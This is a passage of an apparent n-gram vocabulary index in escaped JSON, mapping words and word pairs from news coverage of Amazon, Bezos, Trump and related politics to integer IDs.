172998,\n  \"430 amazon\": 172999,\n  \"shops\": 173000,\n  \"cassandra\": 173001,\n  \"fattened\": 173002,\n  \"bowl pretty\": 173003,\n  \"essential matter\": 173004,\n  \"kissed\": 173005,\n  \"getty amzn\": 173006,\n  \"seeing kb4134660\": 173007,\n  \"touch magazines\": 173008,\n  \"private employer\": 173009,\n  \"truth fable\": 173010,\n  \"predatory\": 173011,\n  \"built suite\": 173012,\n  \"forging solutions\": 173013,\n  \"differently amazon\": 173014,\n  \"quietly shared\": 173015,\n  \"real wake\": 173016,\n  \"entire farm\": 173017,\n  \"acosta cnn\": 173018,\n  \"dollar project\": 173019,\n  \"owners directors\": 173020,\n  \"jyyhycx1xb cristian\": 173021,\n  \"paid mair\": 173022,\n  \"pillpak\": 173023,\n  \"know van\": 173024,\n  \"board john\": 173025,\n  \"telecoms privatisation\": 173026,\n  \"amazon engineers\": 173027,\n  \"alaska\": 173028,\n  \"gun shy\": 173029,\n  \"noticing\": 173030,\n  \"round wouldn\": 173031,\n  \"workforce breitbart\": 173032,\n  \"casino\": 173033,\n  \"13scvcpele uwu\": 173034,\n  \"china advance\": 173035,\n  \"tendentious trump\": 173036,\n  \"businesses justice\": 173037,\n  \"deborah treisman\": 173038,\n  \"unnatural voices\": 173039,\n  \"trump accusation\": 173040,\n  \"offered exclusive\": 173041,\n  \"mark dimondstein\": 173042,\n  \"hanoi meeting\": 173043,\n  \"setting steeped\": 173044,\n  \"videopinner embedcodecopy\": 173045,\n  \"throwing enormous\": 173046,\n  \"page bezos\": 173047,\n  \"headline ivanka\": 173048,\n  \"relationship seth\": 173049,\n  \"michael phillips\": 173050,\n  \"spenders according\": 173051,\n  \"delivery company\": 173052,\n  \"covucci\": 173053,\n  \"herschel\": 173054,\n  \"eftist\": 173055,\n  \"kathleen rice\": 173056,\n  \"money policy\": 173057,\n  \"combat falsification\": 173058,\n  \"book unhinged\": 173059,\n  \"ellisonthe memo\": 173060,\n  \"swastika pendant\": 173061,\n  \"crony trillion\": 173062,\n  \"company weren\": 173063,\n  \"tabloid business\": 173064,\n  \"cited reports\": 173065,\n  \"center charged\": 173066,\n  \"make women\": 173067,\n  \"big tough\": 173068,\n  \"ahead regardless\": 173069,\n  \"quote critics\": 173070,\n  \"fear horror\": 173071,\n  \"whately devout\": 173072,\n  \"home medium\": 173073,\n  \"freight rates\": 173074,\n  \"indianapolis star\": 173075,\n  \"store digital\": 173076,\n  \"intimate dinner\": 173077,\n  \"actually hurt\": 173078,\n  \"swan spoke\": 173079,\n  \"dhruv\": 173080,\n  \"close midterm\": 173081,\n  \"investigation totally\": 173082,\n  \"facebook malfeasance\": 173083,\n  \"legal\": 173084,\n  \"rally shares\": 173085,\n  \"avoid highlighting\": 173086,\n  \"realign authorities\": 173087,\n  \"hollywood sweeping\": 173088,\n  \"amazon donald\": 173089,\n  \"new earth\": 173090,\n  \"reback told\": 173091,\n  \"suppresses appetite\": 173092,\n  \"launch site\": 173093,\n  \"wisecracked\": 173094,\n  \"smell test\": 173095,\n  \"queens district\": 173096,\n  \"bezos profits\": 173097,\n  \"outside amazon\": 173098,\n  \"different unsavory\": 173099,\n  \"rockaway soundview\": 173100,\n  \"active role\": 173101,\n  \"orlando threatens\": 173102,\n  \"semi upright\": 173103,\n  \"ta nehisi\": 173104,\n  \"pass consumers\": 173105,\n  \"murdered nearly\": 173106,\n  \"real plan\": 173107,\n  \"giant tracks\": 173108,\n  \"registered officially\": 173109,\n  \"motive promoting\": 173110,\n  \"secretary shock\": 173111,\n  \"truly mind\": 173112,\n  \"elusive\": 173113,\n  \"switch c5q\": 173114,\n  \"fine levied\": 173115,\n  \"device online\": 173116,\n  \"nutrition policy\": 173117,\n  \"defiant trump\": 173118,\n  \"threatening amazon\": 173119,\n  \"activities 2019\": 173120,\n  \"cities exemption\": 173121,\n  \"facto lobby\": 173122,\n  \"ygdjhk\": 173123,\n  \"recorded couple\": 173124,\n  \"davidson stock\": 173125,\n  \"corrupt administration\": 173126,\n  \"americans workers\": 173127,\n  \"warsaw poland\": 173128,\n  \"junior\": 173129,\n  \"new election\": 173130,\n  \"won recognize\": 173131,\n  \"ideologies\": 173132,\n  \"cellular service\": 173133,\n  \"interviewed trump\": 173134,\n  \"retail industry\": 173135,\n  \"tariff kicks\": 173136,\n  \"heels\": 173137,\n  \"seizes\": 173138,\n  \"withdrawing affordable\": 173139,\n  \"launching program\": 173140,\n  \"replacing kelly\": 173141,\n  \"tv president\": 173142,\n  \"sears railroad\": 173143,\n  \"default primarily\": 173144,\n  \"heavy investment\": 173145,\n  \"post prints\": 173146,\n  \"think giant\": 173147,\n  \"article editorializes\": 173148,\n  \"letter filed\": 173149,\n  \"way thank\": 173150,\n  \"serves\": 173151,\n  \"net deferred\": 173152,\n  \"named goblin\": 173153,\n  \"khan new\": 173154,\n  \"debt martha\": 173155,\n  \"newer\": 173156,\n  \"e4e\": 173157,\n  \"policy argument\": 173158,\n  \"says wonderful\": 173159,\n  \"new classic\": 173160,\n  \"saying things\": 173161,\n  \"fundamentalist\": 173162,\n  \"profound impact\": 173163,\n  \"great idea\": 173164,\n  \"politics according\": 173165,\n  \"legal grounds\": 173166,\n  \"forums 4chan\": 173167,\n  \"1q18 amazon\": 173168,\n  \"deactivated\": 173169,\n  \"paris climate\": 173170,\n  \"ciara\": 173171,\n  \"bonus pay\": 173172,\n  \"expert rob\": 173173,\n  \"bullied amazon\": 173174,\n  \"ass whooping\": 173175,\n  \"enquirer magazine\": 173176,\n  \"fell late\": 173177,\n  \"shares tci\": 173178,\n  \"za m4\": 173179,\n  \"ears hear\": 173180,\n  \"likewise thank\": 173181,\n  \"228608 inc_homepage_headline\": 173182,\n  \"tailer gathers\": 173183,\n  \"critics lined\": 173184,\n  \"conceptual apparatus\": 173185,\n  \"bookstore\": 173186,\n  \"pennsylvania accounting\": 173187,\n  \"circuiting creative\": 173188,\n  \"effects rising\": 173189,\n  \"factually\": 173190,\n  \"futile war\": 173191,\n  \"amazon mutually\": 173192,\n  \"twitter shortly\": 173193,\n  \"recent exposure\": 173194,\n  \"wrong reasons\": 173195,\n  \"employ committee\": 173196,\n  \"wa t5\": 173197,\n  \"451\": 173198,\n  \"challenges facing\": 173199,\n  \"champion jeff\": 173200,\n  \"american memoir\": 173201,\n  \"taxes artificial\": 173202,\n  \"included shocking\": 173203,\n  \"market scorecard\": 173204,\n  \"mae freddie\": 173205,\n  \"assemblyman ron\": 173206,\n  \"brookings nearly\": 173207,\n  \"stranger\": 173208,\n  \"american competitors\": 173209,\n  \"mueller states\": 173210,\n  \"affiliate cnn\": 173211,\n  \"contest 1542140927\": 173212,\n  \"giant warned\": 173213,\n  \"cabinet member\": 173214,\n  \"potential wrongdoing\": 173215,\n  \"network anchor\": 173216,\n  \"nicole ozer\": 173217,\n  \"walking tour\": 173218,\n  \"subject\": 173219,\n  \"permos_as\": 173220,\n  \"immediately agree\": 173221,\n  \"hersfeld germany\": 173222,\n  \"owed\": 173223,\n  \"fund amazon\": 173224,\n  \"mahlum\": 173225,\n  \"began quietly\": 173226,\n  \"labeled amazon\": 173227,\n  \"house reached\": 173228,\n  \"house reported\": 173229,\n  \"post newsroom\": 173230,\n  \"analysts\": 173231,\n  \"troops reuters\": 173232,\n  \"caustic longtime\": 173233,\n  \"paletas\": 173234,\n  \"house aides\": 173235,\n  \"stormare\": 173236,\n  \"fops fools\": 173237,\n  \"accordingly expect\": 173238,\n  \"trade sanctions\": 173239,\n  \"simply addressing\": 173240,\n  \"edge jeffrey\": 173241,\n  \"immigrants forced\": 173242,\n  \"week announced\": 173243,\n  \"concluded president\": 173244,\n  \"trademark counterfeiting\": 173245,\n  \"insurance social\": 173246,\n  \"higher start\": 173247,\n  \"following hilary\": 173248,\n  \"written warning\": 173249,\n  \"europeans\": 173250,\n  \"woman charged\": 173251,\n  \"donahoe trump\": 173252,\n  \"litigator james\": 173253,\n  \"sanders leftists\": 173254,\n  \"quickly restore\": 173255,\n  \"tlx\": 173256,\n  \"company states\": 173257,\n  \"2017 vestager\": 173258,\n  \"existing ferry\": 173259,\n  \"abdicate\": 173260,\n  \"degrees\": 173261,\n  \"tries\": 173262,\n  \"actually supported\": 173263,\n  \"received mixed\": 173264,\n  \"new communities\": 173265,\n  \"959\": 173266,\n  \"unbridled amazon\": 173267,\n  \"exception hands\": 173268,\n  \"nowadays amazon\": 173269,\n  \"continued higher\": 173270,\n  \"boom\": 173271,\n  \"suburbanites getting\": 173272,\n  \"cromwell\": 173273,\n  \"unpatriotic journalists\": 173274,\n  \"veterans mark\": 173275,\n  \"hilton marco\": 173276,\n  \"101 mm\": 173277,\n  \"uncorroborated allegations\": 173278,\n  \"chua\": 173279,\n  \"scarcely worth\": 173280,\n  \"legalized pot\": 173281,\n  \"pours carbon\": 173282,\n  \"enquirer responded\": 173283,\n  \"spook cloud\": 173284,\n  \"cortez slammed\": 173285,\n  \"strong fueled\": 173286,\n  \"desi frantically\": 173287,\n  \"sh\": 173288,\n  \"smear conservatives\": 173289,\n  \"achieve market\": 173290,\n  \"calculated cost\": 173291,\n  \"caption amy\": 173292,\n  \"rubbed\": 173293,\n  \"citing unnamed\": 173294,\n  \"longer silenced\": 173295,\n  \"tougher negotiating\": 173296,\n  \"princess\": 173297,\n  \"stock parkside\": 173298,\n  \"sadrzadeh senior\": 173299,\n  \"spanning\": 173300,\n  \"hibs\": 173301,\n  \"tycoon notes\": 173302,\n  \"fund tax\": 173303,\n  \"fares\": 173304,\n  \"osofsky\": 173305,\n  \"active owlprevitem\": 173306,\n  \"notable critic\": 173307,\n  \"marvel daredevil\": 173308,\n  \"military tried\": 173309,\n  \"tourism vehicle\": 173310,\n  \"inch trees\": 173311,\n  \"nc 27101\": 173312,\n  \"veterans peace\": 173313,\n  \"videourl\": 173314,\n  \"moats\": 173315,\n  \"nation called\": 173316,\n  \"661 shares\": 173317,\n  \"untrained high\": 173318,\n  \"current retirement\": 173319,\n  \"journal citing\": 173320,\n  \"frequently decrying\": 173321,\n  \"companies surveil\": 173322,\n  \"new auto\": 173323,\n  \"prime dark\": 173324,\n  \"levine writes\": 173325,\n  \"fc ambassadors\": 173326,\n  \"website breitbart\": 173327,\n  \"mindi walker\": 173328,\n  \"getnamespacefeature cnn\": 173329,\n  \"sinema did\": 173330,\n  \"virtue signaling\": 173331,\n  \"capitalist comeback\": 173332,\n  \"bulk corporate\": 173333,\n  \"given variety\": 173334,\n  \"tcot\": 173335,\n  \"containing brake\": 173336,\n  \"media capital\": 173337,\n  \"electoral poster\": 173338,\n  \"pair undercover\": 173339,\n  \"messages jeff\": 173340,\n  \"post barb\": 173341,\n  \"monitors threats\": 173342,\n  \"bret thanks\": 173343,\n  \"axios earlier\": 173344,\n  \"agnes\": 173345,\n  \"399\": 173346,\n  \"doing takedown\": 173347,\n  \"talks 2019\": 173348,\n  \"virginia offers\": 173349,\n  \"000 endowment\": 173350,\n  \"resourceful\": 173351,\n  \"vertigo sandman\": 173352,\n  \"tussaud\": 173353,\n  \"amazon prepare\": 173354,\n  \"possible insurance\": 173355,\n  \"recent calls\": 173356,\n  \"forum 418\": 173357,\n  \"james beard\": 173358,\n  \"biggest headlines\": 173359,\n  \"tax profits\": 173360,\n  \"generated\": 173361,\n  \"ended want\": 173362,\n  \"engagement levels\": 173363,\n  \"strzok texts\": 173364,\n  \"initial investigation\": 173365,\n  \"long haired\": 173366,\n  \"exhausting working\": 173367,\n  \"huntington va\": 173368,\n  \"extensive government\": 173369,\n  \"announced real\": 173370,\n  \"kurt schlosser\": 173371,\n  \"read including\": 173372,\n  \"logistics footprint\": 173373,\n  \"launched actions\": 173374,\n  \"text sizevery\": 173375,\n  \"offering prime\": 173376,\n  \"johnny\": 173377,\n  \"bigquestion\": 173378,\n  \"criminals amazon\": 173379,\n  \"starting later\": 173380,\n  \"kicked things\": 173381,\n  \"reported mixed\": 173382,\n  \"allocated funding\": 173383,\n  \"redraw\": 173384,\n  \"board began\": 173385,\n  \"suspended popular\": 173386,\n  \"called dubious\": 173387,\n  \"2018when 2010\": 173388,\n  \"physical storage\": 173389,\n  \"article mayor\": 173390,\n  \"began new\": 173391,\n  \"2020 ioc\": 173392,\n  \"need customer\": 173393,\n  \"challenging trends\": 173394,\n  \"battlefield\": 173395,\n  \"outpaces stock\": 173396,\n  \"presents lucrative\": 173397,\n  \"hill\": 173398,\n  \"prominent staff\": 173399,\n  \"ibuy\": 173400,\n  \"false statement\": 173401,\n  \"pvt\": 173402,\n  \"rollicking good\": 173403,\n  \"accused long\": 173404,\n  \"reuters chinese\": 173405,\n  \"ceo jessie\": 173406,\n  \"book retailer\": 173407,\n  \"reg\": 173408,\n  \"semiconductor companies\": 173409,\n  \"tomorrow presumably\": 173410,\n  \"wearing qanon\": 173411,\n  \"restraining single\": 173412,\n  \"regions reported\": 173413,\n  \"facebook attracts\": 173414,\n  \"pressure progressive\": 173415,\n  \"profit swells\": 173416,\n  \"charges toll\": 173417,\n  \"woman yelled\": 173418,\n  \"conference committee\": 173419,\n  \"336\": 173420,\n  \"usa trump\": 173421,\n  \"global techs\": 173422,\n  \"massive new\": 173423,\n  \"marsh girl\": 173424,\n  \"conquest\": 173425,\n  \"indoor\": 173426,\n  \"fandom\": 173427,\n  \"prescriptions providing\": 173428,\n  \"rose 214\": 173429,\n  \"intelligence hearing\": 173430,\n  \"maritime military\": 173431,\n  \"murray llp\": 173432,\n  \"skinnier\": 173433,\n  \"vaccine studies\": 173434,\n  \"left unchecked\": 173435,\n  \"telegraph uk\": 173436,\n  \"kardashian west\": 173437,\n  \"wrote trump\": 173438,\n  \"amazon manages\": 173439,\n  \"service letter\": 173440,\n  \"government headed\": 173441,\n  \"google throws\": 173442,\n  \"continued downturn\": 173443,\n  \"sweetheart tax\": 173444,\n  \"br 163\": 173445,\n  \"holding powerdrill\": 173446,\n  \"book shot\": 173447,\n  \"film teller\": 173448,\n  \"commentators began\": 173449,\n  \"squeebles flip\": 173450,\n  \"brian bye\": 173451,\n  \"ami sent\": 173452,\n  \"glinting\": 173453,\n  \"feminism stereotypes\": 173454,\n  \"government hands\": 173455,\n  \"dishonest\": 173456,\n  \"borrowing rate\": 173457,\n  \"deere\": 173458,\n  \"absolutely impossible\": 173459,\n  \"hq2 reaction\": 173460,\n  \"called avalara\": 173461,\n  \"including catch\": 173462,\n  \"good argument\": 173463,\n  \"administration backed\": 173464,\n  \"mafia seeding\": 173465,\n  \"brustein\": 173466,\n  \"dave bosse\": 173467,\n  \"heavy price\": 173468,\n  \"alphabet employee\": 173469,\n  \"rates ciecko\": 173470,\n  \"scalable revenue\": 173471,\n  \"bloomberg mnuchin\": 173472,\n  \"believe ami\": 173473,\n  \"abolish immigration\": 173474,\n  \"says significant\": 173475,\n  \"fellow virginians\": 173476,\n  \"stiglitz benefits\": 173477,\n  \"deal offering\": 173478,\n  \"52billion percentage\": 173479,\n  \"ccn reported\": 173480,\n  \"really entertained\": 173481,\n  \"bono\": 173482,\n  \"department sears\": 173483,\n  \"running child\": 173484,\n  \"political ads\": 173485,\n  \"voluntary agreement\": 173486,\n  \"easy thing\": 173487,\n  \"right offthe\": 173488,\n  \"painstaking petition\": 173489,\n  \"comparatively\": 173490,\n  \"worshiping satan\": 173491,\n  \"shares tax\": 173492,\n  \"children toys\": 173493,\n  \"migrant kitchen\": 173494,\n  \"builders index\": 173495,\n  \"feud punish\": 173496,\n  \"played ramsay\": 173497,\n  \"channel created\": 173498,\n  \"liquidate large\": 173499,\n  \"bannon\": 173500,\n  \"jamieson wrote\": 173501,\n  \"amazing announcement\": 173502,\n  \"offline\": 173503,\n  \"extremely hard\": 173504,\n  \"stern guest\": 173505,\n  \"reuters big\": 173506,\n  \"times llc\": 173507,\n  \"fools bumped\": 173508,\n  \"service jamal\": 173509,\n  \"delivery purposes\": 173510,\n  \"sparsely populated\": 173511,\n  \"parents david\": 173512,\n  \"brexit timetable\": 173513,\n  \"coincidental\": 173514,\n  \"options exchange\": 173515,\n  \"advertising policy\": 173516,\n  \"accountability austin\": 173517,\n  \"120 miles\": 173518,\n  \"editorname null\": 173519,\n  \"tricked\": 173520,\n  \"types\": 173521,\n  \"tostring f4a\": 173522,\n  \"quickly dylan\": 173523,\n  \"government narrative\": 173524,\n  \"warren solomon\": 173525,\n  \"allowed vendors\": 173526,\n  \"retailer flipkart\": 173527,\n  \"potential consumers\": 173528,\n  \"micah\": 173529,\n  \"cases delrahim\": 173530,\n  \"goods griffeth\": 173531,\n  \"legalization inevitably\": 173532,\n  \"vicious gangster\": 173533,\n  \"137 000\": 173534,\n  \"propaganda engine\": 173535,\n  \"trumpatriotism\": 173536,\n  \"similar situations\": 173537,\n  \"wasn pulling\": 173538,\n  \"justin osofsky\": 173539,\n  \"ppchd\": 173540,\n  \"sued\": 173541,\n  \"make millions\": 173542,\n  \"stock apple\": 173543,\n  \"production food\": 173544,\n  \"antitrust complaint\": 173545,\n  \"monopoly brink\": 173546,\n  \"company massachusetts\": 173547,\n  \"chase named\": 173548,\n  \"jedi\": 173549,\n  \"pirro fox\": 173550,\n  \"reforms\": 173551,\n  \"utility dream\": 173552,\n  \"scribner addressing\": 173553,\n  \"flirts\": 173554,\n  \"major chip\": 173555,\n  \"quiet according\": 173556,\n  \"sins\": 173557,\n  \"blackmon\": 173558,\n  \"store focuses\": 173559,\n  \"mixed uses\": 173560,\n  \"nation awaited\": 173561,\n  \"brother canada\": 173562,\n  \"shopper day\": 173563,\n  \"penn station\": 173564,\n  \"anonymity welcomed\": 173565,\n  \"company common\": 173566,\n  \"2017 bringing\": 173567,\n  \"rebekah\": 173568,\n  \"demand details\": 173569,\n  \"photo evan\": 173570,\n  \"por\": 173571,\n  \"just waiting\": 173572,\n  \"immigrant parents\": 173573,\n  \"cite amazon\": 173574,\n  \"thughouse steve\": 173575,\n  \"mean mixed\": 173576,\n  \"aviation agency\": 173577,\n  \"heeled\": 173578,\n  \"blue collar\": 173579,\n  \"newstage desk\": 173580,\n  \"keeping score\": 173581,\n  \"looting\": 173582,\n  \"hq2 offering\": 173583,\n  \"official cecilia\": 173584,\n  \"union tariffs\": 173585,\n  \"court shares\": 173586,\n  \"pools transcript\": 173587,\n  \"kemp holds\": 173588,\n  \"logging rainforest\": 173589,\n  \"century great\": 173590,\n  \"urging people\": 173591,\n  \"100 new\": 173592,\n  \"jeffrey epstein\": 173593,\n  \"cd\": 173594,\n  \"2020 california\": 173595,\n  \"estate broker\": 173596,\n  \"friendly bolsonaro\": 173597,\n  \"pink slips\": 173598,\n  \"specifically argued\": 173599,\n  \"statement gumball\": 173600,\n  \"house real\": 173601,\n  \"bannertext\": 173602,\n  \"haidar foreign\": 173603,\n  \"amazon fundamentals\": 173604,\n  \"updating\": 173605,\n  \"political insiders\": 173606,\n  \"jobs republicans\": 173607,\n  \"amazon chasing\": 173608,\n  \"state brooklyn\": 173609,\n  \"divorce settlement\": 173610,\n  \"transparently gross\": 173611,\n  \"bureau approved\": 173612,\n  \"122 shares\": 173613,\n  \"question excluded\": 173614,\n  \"wafers\": 173615,\n  \"strange morning\": 173616,\n  \"terms donald\": 173617,\n  \"takes dark\": 173618,\n  \"driving rich\": 173619,\n  \"president thinking\": 173620,\n  \"care professionals\": 173621,\n  \"bring metapack\": 173622,\n  \"high wattage\": 173623,\n  \"us137\": 173624,\n  \"cia spook\": 173625,\n  \"regulators cicilline\": 173626,\n  \"result brands\": 173627,\n  \"phone line\": 173628,\n  \"counterfeit merchandise\": 173629,\n  \"creating european\": 173630,\n  \"employees amazon\": 173631,\n  \"event begins\": 173632,\n  \"thumbimageelem data\": 173633,\n  \"ocala\": 173634,\n  \"plagued epa\": 173635,\n  \"monster hunter\": 173636,\n  \"brennan arguments\": 173637,\n  \"mattis resignation\": 173638,\n  \"media clumsy\": 173639,\n  \"nasty predatory\": 173640,\n  \"huge revenue\": 173641,\n  \"emotions involved\": 173642,\n  \"good standing\": 173643,\n  \"larry hogan\": 173644,\n  \"judge throws\": 173645,\n  \"streaming channels\": 173646,\n  \"alibaba procter\": 173647,\n  \"commerce firm\": 173648,\n  \"brother mark\": 173649,\n  \"opera star\": 173650,\n  \"wouldn remove\": 173651,\n  \"undecided\": 173652,\n  \"hathaway warren\": 173653,\n  \"force recommends\": 173654,\n  \"computing bid\": 173655,\n  \"fave player\": 173656,\n  \"counting\": 173657,\n  \"underlying claim\": 173658,\n  \"onset\": 173659,\n  \"amazon facilitated\": 173660,\n  \"property state\": 173661,\n  \"shutting\": 173662,\n  \"blasio new\": 173663,\n  \"protesters just\": 173664,\n  \"khan says\": 173665,\n  \"uh think\": 173666,\n  \"locomotive stepped\": 173667,\n  \"ceo divorce\": 173668,\n  \"blocking chip\": 173669,\n  \"destructive impulses\": 173670,\n  \"onlookers\": 173671,\n  \"mccain apologize\": 173672,\n  \"strategy officer\": 173673,\n  \"rsa\": 173674,\n  \"oral arguments\": 173675,\n  \"leg\": 173676,\n  \"sellen\": 173677,\n  \"redmi\": 173678,\n  \"senne ap\": 173679,\n  \"seek new\": 173680,\n  \"reason taco\": 173681,\n  \"reported grueling\": 173682,\n  \"smattering\": 173683,\n  \"substance\": 173684,\n  \"personally funded\": 173685,\n  \"singular\": 173686,\n  \"stamps amazon\": 173687,\n  \"bernstein cass\": 173688,\n  \"metapack software\": 173689,\n  \"giant hq2\": 173690,\n  \"service postmaster\": 173691,\n  \"literally 100\": 173692,\n  \"18217174 jeff\": 173693,\n  \"hands fox\": 173694,\n  \"includes training\": 173695,\n  \"disproportionate impact\": 173696,\n  \"bake food\": 173697,\n  \"delivery led\": 173698,\n  \"wsj politics\": 173699,\n  \"office stating\": 173700,\n  \"lockstep\": 173701,\n  \"index actually\": 173702,\n  \"200 day\": 173703,\n  \"collections apparel\": 173704,\n  \"consulting firm\": 173705,\n  \"svcs automobile\": 173706,\n  \"fraud attempts\": 173707,\n  \"heid\": 173708,\n  \"absolutely inappropriate\": 173709,\n  \"thank heaven\": 173710,\n  \"happy donald\": 173711,\n  \"doors trump\": 173712,\n  \"tweeting covington\": 173713,\n  \"apple care\": 173714,\n  \"656\": 173715,\n  \"ripple\": 173716,\n  \"modest pay\": 173717,\n  \"isolationist platform\": 173718,\n  \"higher pension\": 173719,\n  \"break american\": 173720,\n  \"prior year\": 173721,\n  \"estimating revenues\": 173722,\n  \"ahead new\": 173723,\n  \"average retirement\": 173724,\n  \"kawas geekwire\": 173725,\n  \"housing affordability\": 173726,\n  \"levity\": 173727,\n  \"hurting owner\": 173728,\n  \"faced massive\": 173729,\n  \"ascending\": 173730,\n  \"wrapped\": 173731,\n  \"place prosecutors\": 173732,\n  \"city competition\": 173733,\n  \"guys thanks\": 173734,\n  \"gearing\": 173735,\n  \"jamanxim national\": 173736,\n  \"vanessa\": 173737,\n  \"moveon\": 173738,\n  \"today photo\": 173739,\n  \"canaccord\": 173740,\n  \"hills calif\": 173741,\n  \"vogel\": 173742,\n  \"753 788\": 173743,\n  \"sexually harassed\": 173744,\n  \"250 billion\": 173745,\n  \"retailer premium\": 173746,\n  \"exempts sales\": 173747,\n  \"charles heist\": 173748,\n  \"cold war\": 173749,\n  \"gall trump\": 173750,\n  \"reactid 196\": 173751,\n  \"company current\": 173752,\n  \"destiny\": 173753,\n  \"priests random\": 173754,\n  \"notable early\": 173755,\n  \"distressed debt\": 173756,\n  \"expectations according\": 173757,\n  \"meng queens\": 173758,\n  \"colts\": 173759,\n  \"chapel choir\": 173760,\n  \"wage wouldn\": 173761,\n  \"washington according\": 173762,\n  \"erica moody\": 173763,\n  \"says russia\": 173764,\n  \"pricing model\": 173765,\n  \"brain cancer\": 173766,\n  \"gov charlie\": 173767,\n  \"sour\": 173768,\n  \"photos colleges\": 173769,\n  \"drive roughly\": 173770,\n  \"pass\": 173771,\n  \"expanding 19th\": 173772,\n  \"comments reported\": 173773,\n  \"law clerk\": 173774,\n  \"time spicer\": 173775,\n  \"utilities sector\": 173776,\n  \"iran\": 173777,\n  \"denuclearization norah\": 173778,\n  \"edge wordplay\": 173779,\n  \"post saying\": 173780,\n  \"fedex ceo\": 173781,\n  \"software incorrectly\": 173782,\n  \"including follow\": 173783,\n  \"eisele agence\": 173784,\n  \"davia temin\": 173785,\n  \"assad according\": 173786,\n  \"trillion definitely\": 173787,\n  \"pecker friend\": 173788,\n  \"amazon expertise\": 173789,\n  \"sales efforts\": 173790,\n  \"organic decline\": 173791,\n  \"particular democratic\": 173792,\n  \"twitter prominent\": 173793,\n  \"killed stories\": 173794,\n  \"recently dubbing\": 173795,\n  \"proposed sinclair\": 173796,\n  \"know involving\": 173797,\n  \"away magic\": 173798,\n  \"suggested connection\": 173799,\n  \"alexa changed\": 173800,\n  \"changed amazon\": 173801,\n  \"tight want\": 173802,\n  \"chicago protests\": 173803,\n  \"entrepreneur owns\": 173804,\n  \"upbeat report\": 173805,\n  \"fortnite maker\": 173806,\n  \"dolls\": 173807,\n  \"says rosenstein\": 173808,\n  \"chevron cincinnati\": 173809,\n  \"exemptions 2113\": 173810,\n  \"billions adding\": 173811,\n  \"nefarious going\": 173812,\n  \"trump significantly\": 173813,\n  \"90s sitcom\": 173814,\n  \"viable service\": 173815,\n  \"courts imagine\": 173816,\n  \"left margaret\": 173817,\n  \"taking ride\": 173818,\n  \"tx holds\": 173819,\n  \"audible\": 173820,\n  \"yvette pena\": 173821,\n  \"insurance rules\": 173822,\n  \"mccain helped\": 173823,\n  \"wage 2018\": 173824,\n  \"mecklenburg county\": 173825,\n  \"trimester\": 173826,\n  \"universal declaration\": 173827,\n  \"bezos career\": 173828,\n  \"scenes credentials\": 173829,\n  \"news coming\": 173830,\n  \"1997 led\": 173831,\n  \"fractured\": 173832,\n  \"taut\": 173833,\n  \"protection 227181\": 173834,\n  \"good new\": 173835,\n  \"preachers\": 173836,\n  \"dokoupil\": 173837,\n  \"military says\": 173838,\n  \"badhealth brands\": 173839,\n  \"unsubscribe\": 173840,\n  \"cancellation notification\": 173841,\n  \"winning\": 173842,\n  \"207 reduced\": 173843,\n  \"trump criticized\": 173844,\n  \"developer jbg\": 173845,\n  \"bezos chided\": 173846,\n  \"merle\": 173847,\n  \"sizevery large\": 173848,\n  \"sam club\": 173849,\n  \"makes billions\": 173850,\n  \"vendors just\": 173851,\n  \"highest city\": 173852,\n  \"tariffs executives\": 173853,\n  \"sai thailand\": 173854,\n  \"bolivia guyana\": 173855,\n  \"brighter imageurl\": 173856,\n  \"applause\": 173857,\n  \"time writing\": 173858,\n  \"amazon certification\": 173859,\n  \"reviving criticisms\": 173860,\n  \"intuitive biometrics\": 173861,\n  \"uses twitter\": 173862,\n  \"regular tools\": 173863,\n  \"falkowitz\": 173864,\n  \"late husband\": 173865,\n  \"showboating declared\": 173866,\n  \"look rock\": 173867,\n  \"enemy best\": 173868,\n  \"supportive facts\": 173869,\n  \"npr copyright\": 173870,\n  \"image 1270x734\": 173871,\n  \"thankfully\": 173872,\n  \"violently\": 173873,\n  \"fareye\": 173874,\n  \"internet company\": 173875,\n  \"worthy\": 173876,\n  \"2017 possible\": 173877,\n  \"schrader distills\": 173878,\n  \"consistently reported\": 173879,\n  \"home early\": 173880,\n  \"adviser susan\": 173881,\n  \"related regulations\": 173882,\n  \"consumer harm\": 173883,\n  \"air refueling\": 173884,\n  \"fund executive\": 173885,\n  \"v9 object\": 173886,\n  \"finish campaigning\": 173887,\n  \"viewpoint\": 173888,\n  \"moratorium covers\": 173889,\n  \"specifically better\": 173890,\n  \"profiles developed\": 173891,\n  \"misinformation hate\": 173892,\n  \"killer chicago\": 173893,\n  \"ensured\": 173894,\n  \"held 68m\": 173895,\n  \"government investigations\": 173896,\n  \"new boss\": 173897,\n  \"catalog pages\": 173898,\n  \"governing\": 173899,\n  \"imported goods\": 173900,\n  \"government raised\": 173901,\n  \"resulting fine\": 173902,\n  \"corrosive\": 173903,\n  \"healy pointed\": 173904,\n  \"boss believed\": 173905,\n  \"getty somodevilla\": 173906,\n  \"tickets selling\": 173907,\n  \"favorable number\": 173908,\n  \"flashlight read\": 173909,\n  \"popular sons\": 173910,\n  \"inc_custom_css\": 173911,\n  \"toronto outpost\": 173912,\n  \"hellmann announced\": 173913,\n  \"latest incentive\": 173914,\n  \"schapperts tale\": 173915,\n  \"1924\": 173916,\n  \"uttam\": 173917,\n  \"equit\": 173918,\n  \"lubin pivoted\": 173919,\n  \"labour market\": 173920,\n  \"criminal\": 173921,\n  \"gauntlet kavanaugh\": 173922,\n  \"presidency click\": 173923,\n  \"russian hysteria\": 173924,\n  \"ernest dumas\": 173925,\n  \"schwab\": 173926,\n  \"speech reuters\": 173927,\n  \"trumpdeclared\": 173928,\n  \"low microsoft\": 173929,\n  \"examiner road\": 173930,\n  \"aws helps\": 173931,\n  \"business morning\": 173932,\n  \"issue vestager\": 173933,\n  \"addison eater\": 173934,\n  \"digital seduction\": 173935,\n  \"forward price\": 173936,\n  \"office joined\": 173937,\n  \"reality star\": 173938,\n  \"contract wisconsin\": 173939,\n  \"sarah marshall\": 173940,\n  \"ted filing\": 173941,\n  \"bring allen\": 173942,\n  \"consume regardless\": 173943,\n  \"customers arriving\": 173944,\n  \"pet food\": 173945,\n  \"reports circulated\": 173946,\n  \"chao\": 173947,\n  \"mchenry\": 173948,\n  \"ideas innovate\": 173949,\n  \"scraping\": 173950,\n  \"divisive\": 173951,\n  \"assassinations\": 173952,\n  \"possible cabinet\": 173953,\n  \"carmaker warned\": 173954,\n  \"guy named\": 173955,\n  \"market herera\": 173956,\n  \"driver speak\": 173957,\n  \"neutrality\": 173958,\n  \"tapeworm\": 173959,\n  \"baffling decision\": 173960,\n  \"discounter\": 173961,\n  \"collins democratic\": 173962,\n  \"food\": 173963,\n  \"chief advantages\": 173964,\n  \"elbow grease\": 